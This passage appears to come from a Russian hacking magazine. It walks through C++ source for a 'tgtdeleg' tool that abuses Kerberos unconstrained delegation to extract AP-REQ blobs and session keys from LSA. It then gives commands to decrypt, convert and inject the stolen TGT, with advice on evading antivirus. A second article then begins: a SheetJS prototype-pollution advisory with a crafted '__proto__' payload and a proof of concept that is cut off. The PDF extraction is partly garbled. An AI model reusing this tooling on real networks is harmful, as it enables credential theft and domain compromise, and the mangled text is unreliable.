int wmain(char argc, wchar_t* argv[]) {
setlocale(LC_ALL, "");
ShowAwesomeBanner();
if (argc != 3) {
ShowUsage();
}
....
}
void ShowUsage() {
std::wcout << L"tgtdeleg.exe 1 <DOMAIN NAME>\n\tEx: tgtdeleg.exe
1 cringe.lab" << std::endl;
std::wcout << L"tgtdeleg.exe 2 <SPN With Unconstrained Deleg>\n\t
Ex: tgtdeleg.exe 2 CIFS/dc01.cringe.lab" << std::endl;
exit(-1);
}
Информа ция об использовании инстру мен та
Если же пользователь нигде не напортачил , то переходим к парсингу аргу ментов . В первом случае , когда указыва ется только имя домена, вызывается функция GetDomainController().
LPCWSTR targetname = NULL;
switch (*argv[1]) {
case '1':
targetname = GetDomainController(argv[2]);
break;
...
Эта функция позволя ет получить DNS-имя контрол лера домена. Мы берем контрол лер домена потому, что на нем по умолчанию включено неограничен ное делегирова ние. Получить имя можно с помощью функции DsGetDcName( ).
LPCWSTR GetDomainController(wchar_t* |
domainName) { |
PDOMAIN_CONTROLLER_INFO dcInfo = |
NULL; |
DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL, |
|
DS_RETURN_DNS_NAME | DS_IP_REQUIRED, |
&dcInfo); |
if (err != ERROR_SUCCESS) { |
|
std::wcout << L"[-] Cant Get |
DC Name, try use 2 mode: " << |
err << std::endl; |
|
exit(-1); |
|
}
return dcInfo->DomainControllerName;
}
После получения имени убираем из него первые два символа слеша (так как функция вернула \\dc01, а нам нужн о просто dc01), а затем добавляем
к полученному имени службу CIFS. В итоге у нас появляет ся валидный SPN на службу CIFS контрол лера домена.
targetname = removeLeadingCharacters(targetname);
#ifdef DEBUG
std::wcout << L"[+] Target: " << targetname << std::endl;
#endif
LPCWSTR SPN = addCIFS(targetname);
Функция removeLeadingCharacters просто чуть чуть смещае т указатель на полученну ю строку , чтобы первые два символа \\ как бы пропали .
LPCWSTR removeLeadingCharacters(LPCWSTR originalString) {
LPCWSTR stringPtr = originalString;
if (stringPtr[0] == L'\' && stringPtr[1] == L'\') {
stringPtr += 2;
}
return stringPtr;
}
А функция addCIFS() добавляе т строку CIFS/ к имени компьюте ра .
LPCWSTR addCIFS(LPCWSTR originalString) {
size_t originalSize = wcslen(originalString);
size_t cifsSize = 5;
size_t newSize = originalSize + cifsSize + 1;
LPWSTR newString = new WCHAR[newSize];
wcscpy_s(newString, newSize, L"CIFS/");
wcscat_s(newString, newSize, originalString);
return newString;
}
Есть и второй вариант — пользователь должен самостоятель но указать SPN. Здесь никаког о парсинга тогда не потребу ется . Сразу передаем полученный SPN в функци ю TgtDeleg(), в которой реализова на логика получения сес сионног о ключа и блоба AP-REQ.
case '2':
if (TgtDeleg(argv[2]) == 0) {
std::wcout << L"[+] TgtDeleg Success" << std::endl;
return 0;
}
else {
std::wcout << L"[-] TgtDeleg Error" << std::endl;
return -1;
}
break;
default:
std::wcout << L"[-] No such mode" << std::endl;
ShowUsage();
return 0;
}
ПОДКЛЮЧЕНИЕ К СЛУЖБЕ
Перехо дим в сердце программы — в функци ю TgtDeleg(). Она принима ет один единствен ный аргумент — это SPN целевой службы . Затем начинается , как кто то очень интерес но выразился , «магия SSPI». В действи тель нос ти никакой магии нет. SSPI можно считать эдакой апишкой , через которую раз работчики могут связывать ся с поставщи ками безопасности (Security Packages). Возможнос ти SSPI очень большие : шифрование , подпись , выстра ивание контек ста . Именно функции SSPI позволя т нам сымитировать обра щение к службе с неограничен ным делегирова нием .
Начнем с функции AcquireCredentialsHandle(). Она позволя ет получить хендл на собствен ные реквизиты для SSPI, а также указать протокол , на основе которог о будет выстра ивать ся контекст . Под реквизита ми понима ется пара «логин:пароль», на основе которых пользователь может пройти аутентифика цию . Контекс т выстра ивать не придет ся — нам достаточ но будет один раз просто обратить ся к службе , а ОС уже самостоятель но пойдет
к KDC, получит TGS и провери т флаг OK-AS-DELEGATE.
SECURITY_STATUS SEC_Entry AcquireCredentialsHandle(
_In_ |
SEC_CHAR |
*pszPrincipal, |
_In_ |
SEC_CHAR |
*pszPackage, |
_In_ |
ULONG |
fCredentialUse, |
_In_ |
PLUID |
pvLogonID, |
_In_ |
PVOID |
pAuthData, |
_In_ SEC_GET_KEY_FN pGetKeyFn, |
||
_In_ |
PVOID |
pvGetKeyArgument, |
_Out_ PCredHandle |
phCredential, |
|
_Out_ PTimeStamp |
ptsExpiry |
);
Отмечу самые основные параметры :
•pszPrincipal — имя сущности , для которой мы получаем реквизиты . Никаких сущностей , ни живых, ни мертвых , у нас нет, поэтому указыва ем NULL, что позволя ет получить реквизиты для текущего потока;
•pszPackage — какой поставщик безопасности использовать ;
•fCredentialUse — для каких целей будут использованы реквизиты .
Указыва ем SECPKG_CRED_OUTBOUND, так как мы инициали зиру ем постро ение контек ста , а значит , должны отдавать свои данные службе . Если бы мы выс тупали в качестве службы , то указыва ли бы SECPKG_CRED_INBOUND, то есть получали данные , которые отправи л клиент .
Параметр pAuthData — опциональ ная структура , в которую можно передать реквизиты , специфич ные для используемо го поставщи ка безопас ности. Например , если бы требова лось пройти аутентифика цию от лица ино го пользовате ля , не от того, от которого запущен инстру мент , то мы бы использовали структуру SEC_WINNT_AUTH_IDENTITY.
typedef struct _SEC_WINNT_AUTH_IDENTITY_A {
unsigned char *User;
unsigned long UserLength;
unsigned char *Domain;
unsigned long DomainLength;
unsigned char *Password;
unsigned long PasswordLength;
unsigned long Flags;
} SEC_WINNT_AUTH_IDENTITY_A, *PSEC_WINNT_AUTH_IDENTITY_A;
А инициали зиро вали бы ее вот так:
SEC_WINNT_AUTH_IDENTITY_A authIdentity = {0};
authIdentity.User = L"username";
authIdentity.UserLength = lstrlen(L"username");
authIdentity.Domain = L"office.local";
authIdentity.DomainLength = lstrlen(L"office.local");
authIdentity.Password = L"pass123";
authIdentity.PasswordLength = lstrlen(L"pass123");
authIdentity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; // Если строки
юникода. Если анси, то SEC_WINNT_AUTH_IDENTITY_ANSI
Элемен т phCredential — указатель на структуру CredHandle для получения дескрип тора учетных данных .
Вызыва ем эту функцию , получаем хендл на свои реквизиты .
CredHandle hCredential;
TimeStamp tsExpiry;
SECURITY_STATUS status = AcquireCredentialsHandleW(NULL, (LPWSTR)
MICROSOFT_KERBEROS_NAME, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL
, &hCredential, &tsExpiry);
if (status == SEC_E_OK) {
... // Все ОK
} else {
switch (status) {
case SEC_E_INSUFFICIENT_MEMORY:
std::wcout << L"[-] Not enough memory for current creds"
<< std::endl;
break;
case SEC_E_INTERNAL_ERROR:
std::wcout << L"[-] SSPI ERROR: 0x" << std::hex << status
<< L"L" << std::endl;
break;
case SEC_E_NO_CREDENTIALS:
std::wcout << L"[-] No Credentials Available" << std::
endl;
break;
case SEC_E_NOT_OWNER:
std::wcout << L"[-] U Dont Have Credentials" << std::endl
;
break;
case SEC_E_SECPKG_NOT_FOUND:
std::wcout << L"[-] Kerberos AP is not initialized" <<
std::endl;
break;
case SEC_E_UNKNOWN_CREDENTIALS:
std::wcout << L"[-] Credentials were not recognized" <<
std::endl;
break;
default:
std::wcout << L"[-] Unknown Err: 0x" << std::hex <<
status << L"L" << std::endl;
break;
}
}
return -1;
}
Если что то идет не так, то обрабаты |
ваем |
полученную |
ошибку . Про дебаг |
||||||||
SECURITY_STATUS написан о в статье |
|
|
«Поставщик |
небезопас ности |
. |
||||||
|
|
|
|
|
|
||||||
Как Windows раскры вае т пароль пользовате |
ля ». |
|
|
||||||||
|
|
|
|
||||||||
Если же все хорошо, то переходим |
к взаимо дей ствию |
с целевой службой . |
|||||||||
Для этог о используем |
функци ю InitializeSecurityContext(). |
|
|||||||||
SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA( |
|
||||||||||
|
|
|
|
|
|
|
|
||||
[in, optional] |
|
PCredHandle |
|
|
phCredential, |
|
|
||||
[in, optional] |
|
PCtxtHandle |
|
|
phContext, |
|
|
||||
|
|
SEC_CHAR |
|
|
*pszTargetName, |
|
|||||
[in] |
|
unsigned long |
|
fContextReq, |
|
|
|||||
[in] |
|
unsigned long |
|
Reserved1, |
|
|
|||||
[in] |
|
unsigned long |
|
TargetDataRep, |
|
|
|||||
[in, optional] |
|
PSecBufferDesc |
pInput, |
|
|
||||||
[in] |
|
unsigned long |
|
Reserved2, |
|
|
|||||
[in, out, optional] |
PCtxtHandle |
|
|
phNewContext, |
|
|
|||||
[in, out, optional] |
PSecBufferDesc |
pOutput, |
|
|
|||||||
[out] |
|
unsigned long |
|
*pfContextAttr, |
|
||||||
[out, optional] |
|
PTimeStamp |
|
|
ptsExpiry |
|
|
);
Эта функция позволя е т обратить ся к целевой службе , чтобы начать выстра ивание контек ста для безопасного взаимо дей ствия . Именно в этот момент KDC видит, что клиен т прише л к службе с неограничен ным делегирова нием , и отдае т TGS с флагом OK_AS_DELEGATE. Стои т обратить внимание
на параметр pszTargetName — здесь указыва ем SPN службы с неограничен ным делегирова нием. Затем проверя ем, успешен ли вызов функции , а также pfContextAttr. Если он содержи т значение ISC_REQ_DELEGATE, то все сра ботало правиль н о и мы обратились к службе с неограничен ным делегирова нием.
CtxtHandle newContext;
SecBuffer secbufPointer = { 0, SECBUFFER_TOKEN, NULL };
SecBufferDesc output = { SECBUFFER_VERSION, 1, &secbufPointer
};
ULONG contextAttr;
TimeStamp expiry;
SECURITY_STATUS initSecurity = InitializeSecurityContextW(&
hCredential, NULL, (SEC_WCHAR*)spn, ISC_REQ_ALLOCATE_MEMORY |
ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, SECURITY_NATIVE_DREP, NULL
, 0, &newContext, &output, &contextAttr, NULL);
if (initSecurity == SEC_E_OK || initSecurity ==
SEC_I_CONTINUE_NEEDED) {
std::wcout << L"[+] Initializing GSS-API" << std::endl;
if (contextAttr & ISC_REQ_DELEGATE) {
#ifdef DEBUG
std::wcout << L"[+] SPN Supports Unconstrained Deleg"
<< std::endl;
#endif
DWORD destSize;
...
Причем в параметре fContextReq указыва ем маску
ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH.
Последние два параметра позволя т серверу , на который клиен т отправляет контекст , проводить олицет ворение этого самого клиента .
Затем приступа ем к получени ю блоба AP-REQ. Он будет находиться внут ри параметра pvBuffer структуры SecBuffer. Ее мы передали внутри другой структуры SecBufferDesc параметром output в функцию InitializeSecurityContext(). Сами эти структуры нужны для того, чтобы SP мог вернуть данные , которые требуют ся для дальнейше го выстра ива ния контек ста . Разнооб разия ради предлагаю использовать функцию CryptBinaryToStringA() для кодирования блоба в Base64. Кодируем по той причине , что сам AP-REQ представ ляе т собой большой массив бинарных данных , коррек тное отображение которых невозможно .
DWORD destSize;
// Getting AS-REQ blob
BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.
pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 |
CRYPT_STRING_NOCRLF, NULL, &destSize);
char* apreqbuf = (char*)malloc((SIZE_T)destSize);
if (apreqbuf == NULL) {
std::wcout << L"[-] Unable To allocate memory for AS-REQ b64
blob" << std::endl;
return -1;
}
else {
BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.
pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 |
CRYPT_STRING_NOCRLF, apreqbuf, &destSize);
if (!base64) {
std::wcout << L"[-] Unable to Base64 Encode AP-REQ blob" <<
std::endl;
return -1;
}
else {
apreqdata = (BYTE*)secbufPointer.pvBuffer;
apreqsize = secbufPointer.cbBuffer;
...
В этом коде все чуточку проще . В функци ю кодирования в Base64 передаем буфер, содержащий блоб AP-REQ (secbufPointer.pvBuffer), его размер secbufPointer.cbBuffer, а в ответ получаем размер выходного буфера (destSize). Затем выделяем в памяти достаточ но места под выходной буфер и записываем туда блоб AP-REQ повторным вызовом функции кодирования данных .
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЭКСПЛУАТИРУЕМ
TGT DELEGATION В ACTIVE DIRECTORY
ПОЛУЧЕНИЕ СЕССИОННЫХ КЛЮЧЕЙ
Теперь у нас есть что расшифро вывать , но нечем. Нужно получить сессион ный ключ. Он будет находиться также в пространс тве процес са lsass.exe, внутри AP Kerberos, поэтому для его дампа можно будет использовать стан
дартные функции LsaConnectUntrusted()
и LsaCallAuthenticationPackage(). Сессион ный ключ клиен т получил пос ле успешног о вызова InitializeSecurityContext() в ответе KDC пакетом TGS-REP. Сначала просто подклю чаемся к LSA.
HANDLE lsaHandle;
LSA_STRING kerbPackage;
kerbPackage.Buffer = (PCHAR)MICROSOFT_KERBEROS_NAME_A;
kerbPackage.Length = (USHORT)lstrlenA(kerbPackage.Buffer);
kerbPackage.MaximumLength = kerbPackage.Length + 1;
ULONG authpackageId;
NTSTATUS connection = LsaConnectUntrusted(&lsaHandle);
if (connection == statusSuccess) {
#ifdef DEBUG
std::wcout << L"[+] Connection to LSA Success" << std::endl;
#endif
...
Нам достаточ н о и обычного хендла на LSA. Нет смысла дергать LsaRegisterLogonProcess() для дампа сессион ных ключей , ведь они дол жны быть доступны любому пользовате лю, даже низкопри вилегированному (иначе как бы он шифрова л пакеты Kerberos?). Затем я столкнул ся с интерес ной проблемой : у тикета есть три вида шифрования — RC4, AES-128, AES256. А нам никак не узнать, тикет с какой криптогра фией сейчас лежит в прог рамме, поэтому придет ся три раза обращать ся к AP Kerberos для поиска нуж ного ключа . Обращение я вынес в отдельну ю функцию GetSessionKeys().
NTSTATUS LookupPckg = LsaLookupAuthenticationPackage(lsaHandle, &
kerbPackage, &authpackageId);
if (LookupPckg == statusSuccess) {
#ifdef DEBUG
std::wcout << L"[+] Kerberos AP: " << authpackageId << std::endl;
#endif
std::wcout << L"[+] Trying RC4" << std::endl;
NTSTATUS sessKey = GetSessionKeys(lsaHandle, authpackageId, 23,
spn, destSize);
if (sessKey == 0xC0000034) {
std::wcout << L"\t[-] No such keys" << std::endl;
std::wcout << L"[+] Trying AES128" << std::endl;
sessKey = GetSessionKeys(lsaHandle, authpackageId, 17, spn,
destSize);
if (sessKey == 0xC0000034) {
std::wcout << L"\t[-] No such keys" << std::endl;
std::wcout << L"[+] Trying AES256" << std::endl;
sessKey = GetSessionKeys(lsaHandle, authpackageId, 18,
spn, destSize);
if (sessKey != 0) {
std::wcout << L"[-] Error getting AES256 session
Keys" << std::endl;
return -1;
}
else {
std::wcout << "[+] Session Key: " << sessionKeyGet <<
std::endl;
std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl
;
return 0;
}
}
else if (sessKey == -1) {
std::wcout << L"[-] Error getting AES128 session Keys" <<
std::endl;
return -1;
}
else {
std::wcout << "[+] Session Key: " << sessionKeyGet << std
::endl;
std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
return 0;
}
}
else if (sessKey == -1) {
std::wcout << L"[-] Error getting RC4 session Keys" << std::
endl;
return -1;
}
else {
std::wcout << "[+] Session Key: " << sessionKeyGet << std::
endl;
std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
return 0;
}
}
Сначала просто получаем идентифика тор AP Kerberos, затем пытаемся получить сессион ные ключи для тикета с шифровани ем RC4. Если таких клю чей нет, нам выдадут ошибку 0xC0000034, которая функци ей
LsaNtStatusToWinError() преобра зует ся в 0x2, что означает
ERROR_FILE_NOT_FOUND (файлом , видимо, винда называе т сессион ный ключ). Если же что то ломается , то прилета ет -1. Если все окей, то ключ был успешно сдамплен , выводим AP-REQ и сам ключик . Ровно такой же алгоритм повторя ем и для AES-128, и для AES-256.
Функция GetSessionKeys() запрашива е т из AP Kerberos сессион ные клю
чи, передавая структуру KERB_RETRIEVE_TKT_REQUEST.
typedef struct _KERB_RETRIEVE_TKT_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE |
MessageType; |
||
LUID |
|
LogonId; |
|
UNICODE_STRING |
TargetName; |
||
ULONG |
|
TicketFlags; |
|
ULONG |
|
CacheOptions; |
|
LONG |
|
EncryptionType; |
|
SecHandle |
|
CredentialsHandle; |
|
} KERB_RETRIEVE_TKT_REQUEST, |
*PKERB_RETRIEVE_TKT_REQUEST; |
||
В качестве |
MessageType указыва |
ем KerbRetrieveEncodedTicketMessage, |
а в CacheOptions — KERB_RETRIEVE_TICKET_USE_CACHE_ONLY, что позволит сдампить сессион ные ключи . Сама функция GetSessionKeys() принима ет хендл на LSA, ID AP Kerberos, тип шифрования (23 — RC4, 17 — AES-128, 18 — AES-256), целевой SPN, а также размер буфера.
NTSTATUS GetSessionKeys(HANDLE lsaHandle, ULONG authpackageId, LONG
EncryptionType, LPCWSTR spn, DWORD destSize) {
PKERB_RETRIEVE_TKT_REQUEST retrieveRequest = NULL;
PKERB_RETRIEVE_TKT_RESPONSE retrieveResponse = NULL;
ULONG bufferLength;
ULONG returnLength;
NTSTATUS packageStatus = 0;
int spnSize = lstrlenW(spn);
USHORT newSpnSize = ((USHORT)lstrlenW((LPCWSTR)spn) + 1) * sizeof
(wchar_t);
bufferLength = sizeof(KERB_RETRIEVE_TKT_REQUEST) + newSpnSize;
retrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR,
bufferLength);
if (retrieveRequest != NULL) {
retrieveRequest->MessageType =
KerbRetrieveEncodedTicketMessage;
retrieveRequest->CacheOptions =
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;
retrieveRequest->EncryptionType = EncryptionType;
retrieveRequest->TargetName.Length = newSpnSize - sizeof(
wchar_t);
retrieveRequest->TargetName.MaximumLength = newSpnSize;
retrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)
retrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
RtlMoveMemory(retrieveRequest->TargetName.Buffer, spn,
retrieveRequest->TargetName.MaximumLength);
NTSTATUS callauthPkg = LsaCallAuthenticationPackage(lsaHandle
, authpackageId, (PVOID)retrieveRequest, bufferLength, (PVOID*)&
retrieveResponse, &returnLength, &packageStatus);
if (callauthPkg == statusSuccess) {
#ifdef DEBUG
std::wcout << L"\t[+] Calling AP Kerberos Success" << std
::endl;
#endif
if (packageStatus == statusSuccess) {
std::wcout << L"\t[+] Successfully getted Kerberos
keys with these encryption" << std::endl;
PVOID sessionkeynob64 = (PVOID)malloc((SIZE_T)
retrieveResponse->Ticket.SessionKey.Length);
if (sessionkeynob64 != NULL) {
// Copying Session Key
RtlMoveMemory(sessionkeynob64, retrieveResponse->
Ticket.SessionKey.Value, retrieveResponse->Ticket.SessionKey.Length);
BOOL base641 = CryptBinaryToStringA((CONST BYTE*)
sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.Length,
CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &destSize);
LPSTR sessionKey = (LPSTR)malloc((SIZE_T)destSize
);
if (sessionKey != NULL) {
BOOL base641 = CryptBinaryToStringA((CONST
BYTE*)sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.
Length, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, sessionKey, &
destSize);
if (base641) {
sessKkey = retrieveResponse->Ticket.
SessionKey.Value;
sessionKeyGet = sessionKey;
return 0;
}
else {
std::cout << "\t[-] Cant Get string of
session key: " << GetLastError() << std::endl;
return -1;
}
}
else {
std::cout << "\t[-] Cant LocalAlloc for
session key: " << GetLastError() << std::endl;
return -1;
}
}
else {
std::cout << "\t[-] Unable to allocate memory
for kerberos keys: " << GetLastError << std::endl;
LocalFree(retrieveRequest);
LsaFreeReturnBuffer((PVOID)retrieveResponse);
return -1;
}
}
else {
return packageStatus;
}
}
}
else {
DWORD Gle = GetLastError();
std::cout << "\t[-] Error LocalAlloc for
KERB_RETRIEVE_TKT_REQUEST: " << Gle << std::endl;
return -1;
}
}
Логика достаточ но простая : готовим структуру KERB_RETRIEVE_TKT_REQUEST, которую динамичес ки выделяем в памяти. Затем инициали зируем все нужные элемен ты, отдельн о копируем SPN в имя целевой службы функци ей RtlMoveMemory(), иначе Kerberos не поймет , сессион ный ключ какого тикета нужн о сдампить , а затем проверя ем успешность вызова функции .
Если функция дернулась успешно, то копируем сессион ный ключ, а затем кодируем его в Base64, повторяя все те же операции , что и для блоба APREQ.
РАСШИФРОВКА AP-REQ
После получения AP-REQ и сессион ного ключа я принял решение не дек риптить блоб на хосте . Инстру мен т будет выводить только сессион ный ключ в Base64 и сам AP-REQ, а расшифров ку сделаем на хосте атакующе го .
Сессион ный ключ и блоб AP-REQ
Такое решение я приня л неслучай но — для расшифров ки AP-REQ исполь зуется недокумен тирован ный криптоин терфейс Windows, который легитим ные программы не использу ют в принципе . Так или иначе , мы его изучим , но чуть позже , когда будем писать инстру мен т для запроса TGT и TGS на C++. Лишь вкратце отмечу , что для обнаруже ния и инициали зации всех методов этог о криптоин терфей са использует ся функция CDLocateCSystem(). Проб лема в том, что при первом же гуглении ее имени мы натыкаемся на очень интерес ные статьи.
Подоз ритель ная функция
Функция крайне подозритель ная , плюс, скорее всего , ее вызов отслежива ется даже самыми простыми АВ. Поэтому , чтобы сохранить чистоту инстру мента , предлага ю перенести расшифров ку на компьютер атакующе го .
Если тебе интерес но посмотреть , как эту рас шифровку реализуе т Kekeo или Rubeus, то вот
ссылки на код: |
|
|
•Kekeo: |
файлы |
kuhl_m_tgt |
и kull_m_kerberos_asn1_crypto.c; |
|
|
•Rubeus: файл Crypto.cs. |
|
Для расшифров ки AP-REQ и извлечения TGT из него можно использовать скрипт tgtParse.py.
python tgtParse.py --etype <тип шифрования> --sessionkey <сессионный
ключ> --apreq <ap req блоб>
Получе ние тикета ccache
Затем в текущей директории появится тикет .ccache, который можн о пре образовать в форма т .kirbi с помощью ticketConverter.py.
Извле чен ный тикет
python ticketConverter.py Администратор.ccache admin.kirbi
Успешное преобра зова ние тикета
Тике т в текущей директории
Наконец , инжектим тикет с помощью инстру мен та на PowerShell.
.\injector.ps1 2 "doi..."
Успешный инжект тикета
ВЫВОДЫ
Функции делегирова ния в Active Directory предос тавля ю т множес тво необыч ных и недокумен тирован ных возможнос тей , эксплу ата ция которых очень сильн о упрощае т жизнь атакующе му . А если этот атакующий еще и умее т все написать c нуля, разобрать ся в атаке , обойти защитные средства , то он в шаге от превращения в настояще го редтимера ! Полный код проекта ты можешь отыскать на GitHub.
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
КАК РАБОТАЮТ УЯЗВИМОСТИ В БИБЛИОТЕКЕ SHEETJS
Пакет XLSX, выпущенный компани ей SheetJS, широко использует ся разработ чиками для взаимо дей ствия с электрон ными таблицами в форматах XLSX и XLSM, в том числе применя ется в корпоратив ных продук тах . Анализи руя пакет, мы нашли несколь ко уязвимос тей . В этой статье я покажу, как они возникли и как их может эксплу ати ровать злоумыш ленник .
Всеволод Кокорин
Аудитор информационной безопасности SolidLab sevakokorin80@gmail.com
|
Статья имеет ознакоми |
тель |
ный |
характер и пред |
|||||||||||||||
|
назначена |
для |
специалис |
тов |
по безопасности |
, |
|||||||||||||
|
проводя |
щих |
тестирова |
ние |
|
в |
рамках |
контрак |
та . |
||||||||||
|
Автор и |
редакция |
не несут |
|
ответствен |
ности |
|||||||||||||
|
за любой вред, причинен |
ный |
|
с примене |
нием |
||||||||||||||
|
изложен ной |
информации . Распростра |
нение |
|
вре |
||||||||||||||
|
доносных |
программ |
, нарушение |
работы систем |
|||||||||||||||
|
и нарушение |
тайны |
переписки преследу |
ются |
|||||||||||||||
|
по закону. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Давай вкратце посмотрим , как работае т SheetJS. Когда файл электрон ной таблицы XLSX передается функции XLSX.readFile, происхо ди т следующее :
•Функция проверя ет тип файла , анализи руя первые байты заголовка . Если тип файла распознан как ZIP-архив, процесс продол жается.
•Файл архива распаковы вается в память процес са, что позволя ет работать непосредс твенно с XML-файлами , описыва ющими структуру и данные электрон ной таблицы , а также с другими ресурсами , включая изображения и шрифты .
•Парсер , встроенный в библиоте ку, начинае т разбор XML-тегов. Он ана
лизируе т структуру |
файла и |
извлекае т необходимые |
данные , такие |
||||
как значения |
ячеек , форматиро |
вание |
и другие свойства |
таблицы |
. |
•Получен ные данные обычно представ ляются в виде удобных структур , таких как массивы или объекты , чтобы их можно было легко использовать в приложе нии.
LIMITED PROTOTYPE POLLUTION
Описание недостатка
Уязвимость , связан ная с ограничен ным загрязне нием прототи па (Limited Prototype Pollution), возника ет при обработ ке коммента риев внутри загружен ного документа в функции cmntcommon. В ней присваивает ся значение объ екта по ключу , который может контро лироваться пользовате лем.
else sheet[comment.ref] = cell;
Для дальнейше г о анализа важно понимать, что такое comment.ref. Это зна чение попадае т в код из файла threadedCommentXXX.xml (где XXX — номер документа с коммента риями). Пример :
<threadedComment ref="G7" dT="2023-04-11T09:41:09.71" personId="{
29DB960B-0822-594C-AB20-3D499FA339C7}" id="{
962D1EF3-37F7-FF40-983D-B0762466C0AF}">
Обычно , когда файл создает ся в редакторе электрон ных таблиц , это не вызывае т проблем , так как адреса ячеек редактор сгенери рует автомати чес ки и это будут допустимые значения .
Однак о разработ чики пакета XLSX не учли, что злоумыш ленник может вручну ю создать файл XLSX с произволь ным содержимым и специаль но сформировать адреса ячеек .
7z x normal.xlsx
; Вносим изменение в желаемые файлы
7z a NotNormal.zip ./\[Content_Types\].xml _rels/ docProps/ xl
mv NotNormal.zip NotNormal.xlsx
Для успешной эксплу ата ции загрузим обычный файл, но с таким threadedComment:
<threadedComment ref="__proto__" dT="2023-04-11T09:41:09.71"
personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{
962D1EF3-37F7-FF40-983D-B0762466C0AF}">
В таком случае значение comments.ref будет равн о __proto__, а cell будет содержать Object prototype.
Далее в коде функции находим обращение к cell:
if (!cell.c) cell.c = [];
Так как переменная содержи т prototype, то массив запишется в свойство c прототи па объекта . Это приведе т к тому, что при дальнейших провер ках все коммента рии будут записывать ся в один массив , так как значение cell.c будет всегда определе но. Разработ чикам следова ло использовать такую конструк цию:
if (!cell.hasOwnProperty("c")) cell.c = [];
Давай наброса ем доказатель ство концепции :
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const XLSX = require("xlsx");
//Middleware для обработки файлов app.use(fileUpload());
//Получение POST-запроса c обработкой загруженного файла app.post('/process', function(req, res) {
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('Не найдены загруженные файлы.');
}
// Получение загруженного файла
const uploadedFile = req.files.file;
let a = XLSX.read(uploadedFile.data);
/*
